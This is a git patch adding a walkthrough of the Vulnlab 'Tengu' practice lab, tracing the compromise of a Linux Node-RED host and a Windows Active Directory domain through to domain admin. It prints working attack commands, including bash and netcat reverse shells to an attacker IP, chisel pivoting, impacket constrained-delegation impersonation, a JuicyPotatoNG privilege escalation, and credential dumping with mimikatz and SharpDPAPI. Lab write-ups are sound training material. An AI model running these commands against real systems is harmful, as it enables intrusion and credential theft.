From 06211c9b13506fecee19749dbba3f8bbef1e3bb3 Mon Sep 17 00:00:00 2001
From: ARZ <60057481+AbdullahRizwan101@users.noreply.github.com>
Date: Thu, 19 Sep 2024 12:57:41 +0300
Subject: [PATCH] Create Tengu.vl
---
Vulnlab/Tengu.vl | 269 +++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 269 insertions(+)
create mode 100644 Vulnlab/Tengu.vl
diff --git a/Vulnlab/Tengu.vl b/Vulnlab/Tengu.vl
new file mode 100644
index 0000000..d710bb6
--- /dev/null
+++ b/Vulnlab/Tengu.vl
@@ -0,0 +1,269 @@
+# Vulnlab - Tengu
+
+## DC.tengu.vl
+
+```bash
+PORT STATE SERVICE VERSION
+3389/tcp open ms-wbt-server Microsoft Terminal Services
+| ssl-cert: Subject: commonName=DC.tengu.vl
+| Issuer: commonName=DC.tengu.vl
+| Public Key type: rsa
+| Public Key bits: 2048
+| Signature Algorithm: sha256WithRSAEncryption
+| Not valid before: 2024-09-14T15:26:33
+| Not valid after: 2025-03-16T15:26:33
+| MD5: b350:11ed:41ce:ff32:a34f:0088:ce22:96f5
+|_SHA-1: 711b:6409:e399:0771:d3d3:7eba:1938:5914:7c84:7528
+Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
+```
+
+## SQL.tengu.vl
+
+```bash
+PORT STATE SERVICE VERSION
+3389/tcp open ms-wbt-server Microsoft Terminal Services
+|_ssl-date: 2024-09-15T15:30:31+00:00; 0s from scanner time.
+| ssl-cert: Subject: commonName=SQL.tengu.vl
+| Issuer: commonName=SQL.tengu.vl
+| Public Key type: rsa
+| Public Key bits: 2048
+| Signature Algorithm: sha256WithRSAEncryption
+| Not valid before: 2024-09-14T15:26:45
+| Not valid after: 2025-03-16T15:26:45
+| MD5: 3cd6:9298:18df:b91e:5194:c958:0df4:528b
+|_SHA-1: b304:c807:0de4:a171:0c1a:8b16:1f3e:bd29:2e21:99b5
+Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
+
+```
+
+## nodered.tengu.vl
+
+```bash
+PORT STATE SERVICE VERSION
+22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
+| ssh-hostkey:
+|_ 256 41:c7:d4:28:ec:d8:5b:aa:97:ee:c0:be:3c:e3:aa:73 (ED25519)
+1880/tcp open vsat-control?
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+```
+
+Both windows hosts had only RDP service enabled, on linux hosts, there was something hosted on port 1880 which on googling shows it runs Node-RED, which is a flow based development tool for visual programming used in IoT devices
+
+
+
+## Remote Command Execution Through Node-RED
+
+Node-RED is known for getting remote command execution (RCE), to achieve this, we'll need to create a flow by timestamp block following exec block
+
+
+
+Replacing the curl command with bash reverse shell
+
+
+
+```bash
+bash -i >& /dev/tcp/10.8.0.136/2222 0>&1
+```
+
+After having the shell, it can be stabilized with python3 to use it as a normal shell
+
+
+
+From `nodered` directory, we can find some type of hashed password but not really sure who this belongs to and how this can be cracked
+
+
+
+## Accessing MSSQL
+
+From sql node properties, we can see the connection string with the username `nodered_connector`
+
+
+
+So there's a script to decrypt the node-red credentials, which needs `flows_cred.json` and `.config.runtime.json`
+https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519
+
+
+
+In order to connect to MSSQL, we'll need to performing pivoting since that service isn't exposed we'll use chisel socks proxy
+
+```bash
+chisel server --reverse -p 3000
+chisel client 10.8.0.136:3000 R:socks
+```
+
+
+
+With this, we'll be able to reach port 1433 on sql.tengu.vl
+
+
+
+Trying to enable `xp_cmdshell` resulted in no luck as this user didn't had privileged in mssql
+
+
+
+Enumerating the databases, there are two, which are not available by default, `Dev` and `Demo`
+
+
+
+Dev didn't had anything interesting while there was one set of credential from Demo
+
+
+
+Attempting to crack this with rockyou.txt didn't work as the password wasn't present there however crackstation came in handy here
+
+
+
+
+
+Having the credentials, we can verify if this is a valid domain user
+
+
+
+With `bloodhound-python`, the domain can be enumerated
+
+```bash
+proxychains bloodhound-python -d tengu.vl -u t2_m.winters -p 'Tengu123' -c all -ns 10.10.183.37
+```
+
+
+
+## Escalating privileges on linux host
+
+From bloodhound, t2_m.winters is a member of linux admin group which means we can have local admin on the linux host
+
+
+
+Through ssh we can easily switch to `t2_m.winters` user
+
+
+
+this host has `ReadGMSAPassword` on `GMSA01$` account
+
+
+
+## Constrained Delegation on SQL Host
+
+The NThash can be retrieved from `/etc/krb5.keytab`, this file contains service account hash in this case has NODERED's NThash, the hash can be extracted with KeyTabExtract https://github.com/sosdave/KeyTabExtract/tree/master
+
+
+
+This hash can be verified by authenticating on DC
+
+
+
+GMSA hash can be retrieved by using `--gmsa` module on LDAP
+
+```bash
+proxychains nxc ldap 10.10.238.213 -u 'NODERED$' -H 'hash' --gmsa
+```
+
+
+
+This account has `AllowedToDelegate` permission on SQL host which means we can impersonate as a local admin on this host through MSSQL service, performing constrained delegation
+
+
+
+
+
+With getST.py we can try to impersonate as administrator user for MSSQL service sql host but it didn't worked for administrator
+
+
+
+Instead of admin, we can check what other users we could target, there's a group name `SQL Admins` , with two users
+
+
+
+
+
+Here we can try to impersonate `T1.M_Winters` and then login through MSSQL using the ticket
+
+```bash
+proxychains impacket-getST -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 'T1_M.WINTERS' -hashes :hash 'tengu.vl/gMSA01$'@sql.tengu.vl -dc-ip 10.10.168.213
+```
+
+
+
+From here xp_cmdshell can be enabled and system commands can be executed in the context of `gmsa01$`
+
+
+
+With netcat, we can get a reverse shell
+
+
+
+Checking our privileges, we can get local administrator by abusing `SeImpersonatePrivilege` with JuicyPotato-NG or any other recent potato exploit
+
+
+
+```bash
+JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Windows/Temp/nc.exe 10.8.0.136 3333 -e cmd.exe"
+```
+
+
+
+
+
+## Lateral Movement - Extracting Credentials Trough DPAPI
+
+Running mimikatz to dump local admin hash and checking if there are any hashes in lsass
+
+
+
+ With `lsadump::cache` , domain cached credentials can be found where there's cached credentials for `c.fowler` but obviously this is not in NThash format so it cannot be used in pth unless it's gets cracked, which in this case was not the way
+
+
+
+To dump saved credentials from credential Manager/ task scheduler, we can target DPAPI which stores credentials with user specific keys, being a local admin we can utilize `sharpdpapi` to dump all credentials
+
+```bash
+SharpDPAPI.exe machinecredentials
+```
+
+
+
+## Using kerberos authentication to spawn a shell as T0_c.fowler
+
+T0_c.fowler is a domain admin, authenticating against the DC to see if the password is valid
+
+
+
+But the plain text password wasn't working and it's probably due to admin users belonging to Protected Users Group which is why we'll need to use kerberos authentication
+
+
+
+So instead, using `kinit` we can request TGT for the user by specifying the plain text password and we'll get our ticket using by modifying the `/etc/krb5.conf` configuration file
+
+```bash
+[libdefaults]
+ default_realm = TENGU.VL
+ kdc_timesync = 1
+ ccache_type = 4
+ forwardable = true
+ proxiable = true
+ rdns = false
+ dns_canonicalize_hostname = false
+ fcc-mit-ticketflags = true
+
+[realms]
+ TENGU.VL = {
+ kdc = dc.tengu.vl
+ }
+
+[domain_realm]
+ .tengu.vl = TENGU.VL
+
+```
+
+
+
+Having the ticket, we can just dump hashes from ntds.dit using `secretsdump.py` or just spawn a shell using smb, wmi or psexec
+
+
+
+
+
+# References
+
+- https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
+- https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519
+- https://github.com/sosdave/KeyTabExtract/tree/master